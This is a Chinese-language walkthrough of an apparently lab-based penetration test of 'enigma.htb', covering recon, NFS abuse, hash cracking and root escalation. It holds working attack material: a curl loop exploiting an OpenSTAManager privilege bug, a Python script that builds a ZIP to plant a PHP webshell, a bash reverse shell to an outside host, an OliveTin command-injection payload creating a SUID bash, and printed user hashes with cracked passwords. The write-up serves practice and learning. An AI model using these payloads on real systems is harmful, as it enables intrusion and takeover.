基本信息
IP地址:
10.129.52.81(非固定IP地址)
信息收集
ICMP检测
PING 10.129.52.81 (10.129.52.81) 56(84) bytes of data.
64 bytes from 10.129.52.81: icmp_seq=1 ttl=63 time=227 ms
64 bytes from 10.129.52.81: icmp_seq=2 ttl=63 time=216 ms
64 bytes from 10.129.52.81: icmp_seq=3 ttl=63 time=216 ms
64 bytes from 10.129.52.81: icmp_seq=4 ttl=63 time=217 ms
--- 10.129.52.81 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 215.781/219.157/227.263/4.713 ms
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.99 scan initiated Sat Jul 18 16:14:14 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.52.81
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.22s latency).
All 65535 scanned ports on enigma.htb (10.129.52.81) are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sat Jul 18 16:15:00 2026 -- 1 IP address (1 host up) scanned in 45.99 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP端口详细信息扫描报告
# Nmap 7.99 scan initiated Sat Jul 18 16:33:12 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 1000 -oN tcp_result.txt 10.129.52.81
Warning: 10.129.52.81 giving up on port because retransmission cap hit (10).
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.25s latency).
Not shown: 54494 closed tcp ports (conn-refused), 11029 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_ 256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Enigma Corp \xE2\x80\x94 Managed IT Solutions
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: RESP-CODES PIPELINING SASL CAPA STLS TOP UIDL AUTH-RESP-CODE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 36555/tcp6 mountd
| 100005 1,2,3 45113/udp6 mountd
| 100005 1,2,3 47117/tcp mountd
| 100005 1,2,3 55009/udp mountd
| 100021 1,3,4 34795/tcp nlockmgr
| 100021 1,3,4 35869/udp6 nlockmgr
| 100021 1,3,4 36375/udp nlockmgr
| 100021 1,3,4 38223/tcp6 nlockmgr
| 100024 1 33533/tcp status
| 100024 1 46164/udp6 status
| 100024 1 49227/udp status
| 100024 1 54793/tcp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
143/tcp open imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: ENABLE listed SASL-IR Pre-login STARTTLS IMAP4rev1 have post-login LOGIN-REFERRALS more ID LOGINDISABLEDA0001 capabilities OK LITERAL+ IDLE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: ENABLE listed SASL-IR OK IMAP4rev1 post-login have LOGIN-REFERRALS more AUTH=PLAINA0001 Pre-login capabilities LITERAL+ ID IDLE
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after: 2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: RESP-CODES USER SASL(PLAIN) CAPA PIPELINING TOP UIDL AUTH-RESP-CODE
2049/tcp open nfs_acl 3 (RPC #100227)
33533/tcp open status 1 (RPC #100024)
34795/tcp open nlockmgr 1-4 (RPC #100021)
48471/tcp open mountd 1-3 (RPC #100005)
55817/tcp open mountd 1-3 (RPC #100005)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 471.84 ms 10.10.16.1
2 471.98 ms enigma.htb (10.129.52.81)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 18 16:39:35 2026 -- 1 IP address (1 host up) scanned in 382.81 seconds
UDP开放端口扫描报告
# Nmap 7.99 scan initiated Sat Jul 18 16:21:29 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.52.81
Warning: 10.129.52.81 giving up on port because retransmission cap hit (10).
Nmap scan report for enigma.htb (10.129.52.81)
Host is up (0.27s latency).
Not shown: 65283 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
PORT STATE SERVICE
111/udp open rpcbind
36375/udp open unknown
46372/udp open unknown
46850/udp open unknown
49227/udp open unknown
55009/udp open unknown
# Nmap done at Sat Jul 18 16:25:31 2026 -- 1 IP address (1 host up) scanned in 242.39 seconds
UDP端口详细信息扫描报告
(无)
同时发现,靶机运行Ubuntu Linux操作系统,开放了22/ssh、80/http、Dovecot Mail和NFS服务,靶机主域名为enigma.htb。
服务探测
SSH服务(22端口)
使用ssh工具连接靶机,确定其登录方式:
ssh root@enigma.htb

发现靶机只允许使用密钥登录。
NFS服务(2049端口)
首先使用showmount工具连接NFS服务,查看其挂载目录:
showmount -e enigma.htb

发现目标NFS服务挂载目录为/srv/nfs/onboarding。尝试使用nfs_analyze工具执行进一步枚举:GitHub - hvs-consulting/nfs-security-tooling: Detect common NFS server misconfigurations · GitHub
~/.local/bin/nfs_analyze --check-no-root-squash enigma.htb

成功发现NFS服务开启了no_root_squash选项!根目录文件句柄为01000702a311020000000000b1c5fa6dfc0c49b18e1ca230450ef76802000000000000000200000000000000。
以及部分用户账户的YesCrypt哈希,每个用户分别用不同文件保存:
haris:$y$j9T$n9U97FzFNeULp/v6S7.L7/$e2cuOvzI4LDEwoHJwMQTMIPiLaUBB1QSz7NPSyJLWp2:20503:0:99999:7:::
kevin:$y$j9T$kYlLObLjJzwnlEz4FqGMt.$X8lrQyLgiPjBOqMt/9mQcTt/SWpcTX4I42XayVdwb/8:20502:0:99999:7:::
sarah:$y$j9T$S6W863060XPPwRi0jvTiS0$OlFF60p4A1/aeVISCbDw45L6W1X2O/WxEOlwNDz4sn8:20502:0:99999:7:::
it:$y$j9T$jnrsOwG/dQm3NiSOcvEBn.$FIbr3BiI8AK1ZNhlSfUDPOE23DqwdCyWUF.u8gpQFK.:20502:0:99999:7:::
尝试使用fuse_nfs工具挂载靶机根目录到新建的nfsdata目录:
mkdir nfsdata
~/.local/bin/fuse_nfs --fake-uid-allow-root --allow-write --manual-fh 01000702a311020000000000b1c5fa6dfc0c49b18e1ca230450ef76802000000000000000200000000000000 nfsdata 10.129.53.122

成功!
渗透测试
NFS文件系统枚举
在服务探测阶段,我们已经发现了NFS服务的系统根目录句柄并成功将其挂载至本地,现在对靶机进行目录信息收集。
首先查看/srv/nfs/onboarding目录:
ls -lA ./srv/nfs/onboarding

发现了一份名为New_Employee_Access.pdf的PDF文档,将其复制到本地后查看:

成功发现用户凭据:
- 用户名:
kevin - 密码:
Enigma2024!
接着对/etc/nginx/sites-available/目录进行探查,确定Nginx Web服务的各虚拟主机名称:
ls -lA ./etc/nginx/sites-available/

发现Nginx站点配置目录中存在四个配置文件,逐个查看:
head -n 8 enigma
head -n 8 openstamanager
head -n 8 roundcube

发现如下三个虚拟主机:
enigma.htb,目录/var/www/html/main/support_001.enigma.htb,目录/var/www/html/openstamanager/mail001.enigma.htb,目录/var/www/html/roundcube
逐个访问上述域名,首先打开http://enigma.htb/

发现该站点为某IT支持公司的介绍页面,为纯前端项目:

随后访问http://support_001.enigma.htb/:

发现该站点部署了OpenSTAManager商务工单管理系统,通过查看/var/www/html/openstamanager/VERSION文件可知目标系统版本为2.9.8:

尝试联网搜索该系统漏洞,发现一个未授权权限提升漏洞和一个远程代码执行漏洞:- 编号:
CVE-2026-27012,链接:Unauthenticated privilege escalation in OpenSTAManager via modules/utenti/actions.php · Advisory · devcode-it/openstamanager - 编号:
CVE-2025-69212,链接:OS Command Injection in P7M File Processing · Advisory · devcode-it/openstamanager · GitHub
最后,打开http://mail001.enigma.htb/:

发现该站点部署了Roundcube Webmail在线邮件管理系统,暂无法确定其版本。
除此之外,还在/opt下发现了名为OliveTin的子目录:

通过联网查询,发现OliveTin是一个用于远程执行配置的系统命令,进行服务器管理的Web系统:

除此之外,未发现其它信息。
YesCrypt哈希破解
通过对NFS挂载目录进行枚举,我们已经成功获得了3个子域名,并确定了OpenSTAManager v2.9.8系统的两个漏洞,但目前并没有合适的凭据进行登录,遂决定对获取的Linux系统用户哈希执行破解。
首先尝试破解haris用户密码,字典选用rockyou.txt:
john haris-yescrypt.txt --wordlist=/usr/share/dict/rockyou.txt --format=crypt

成功获得用户密码:
- 用户名:
haris - 密码:
bestfriends
尝试使用该凭据登录OpenSTAManager:

成功!
OpenSTAManager漏洞利用
登录OpenSTAManager后,发现haris用户并非管理员权限用户,而利用CVE-2025-69212漏洞进行RCE操作需要一个管理员级别功能,决定先利用CVE-2026-27012漏洞更新当前用户配置,将其更改为管理员。

根据漏洞描述,编写curl命令发送提权请求,由于无法得知haris用户ID,这里对1-10 的ID值进行遍历,设为id_utente值:
for i in {1..10}; do curl -X POST --data "op=update_user&id_utente=$i&username=haris&email=haris@enigma.htb&idgruppo=1" http://support_001.enigma.htb/modules/utenti/actions.php; done
刷新页面,发现haris用户已经具有管理员权限:

接下来利用RCE漏洞:

根据漏洞描述,首先执行如下Python代码,创建一个包含恶意文件名的ZIP压缩包:
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"cmd\"]); ?>' > shell.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
压缩包创建完毕后,访问http://support_001.enigma.htb/controller.php?id_module=14#tab_48,打开Sales Invoices模块:

点击Choose File按钮,上传创建的恶意ZIP压缩包,上传完毕且弹出报错信息后,访问http://support_001.enigma.htb/files/shell.php,尝试执行id命令:

执行成功!直接在本地启动netcat监听,执行如下命令反弹Shell:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.17.184/443 0>&1'
收到Shell后,直接通过su切换到haris用户:

成功!!
权限提升
OliveTin不当命令配置利用
登录haris用户后,进行操作系统信息收集,首先查看系统进程:
ps -aux

发现/usr/local/bin/OliveTin正在以root权限运行,猜测/opt/OliveTin/OliveTin-linux-amd64/目录为其备份,真正的OliveTin进程配置目录位于/etc下,尝试进入:
cd /etc/OliveTin/

成功!查看config.yaml文件,发现一处敏感配置:
- title: Backup Database
id: backup_database
icon: "⛁"
shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
popupOnStart: execution-dialog
arguments:
- name: db_user
type: ascii_identifier
default: backup_svc
- name: db_pass
type: password
- name: db_name
type: ascii_identifier
default: production
该命令配置直接将db_pass数据库密码参数拼接到了mysqldump命令中,且未使用ascii_identifier检查,可构造如下Payload提权:
';chmod 4755 /bin/bash;echo '
直接将靶机1337端口转发至本地:
ssh -fCNR 1337:localhost:1337 misaka19008@10.10.17.184 -p 22222
随后访问主页:http://127.0.0.1:1337/,找到页面上的Backup Database按钮点击进入,输入上面的Payload后点击Start按钮提交:

返回SSH会话,查看/bin/bash文件权限,发现已经成功创建SUID Bash后门:

直接执行如下命令修改root密码提权:
/bin/bash -p
python3 -c "import os;os.setuid(0);os.setgid(0);os.system('passwd root')"
exit
su -

提权成功!!!!
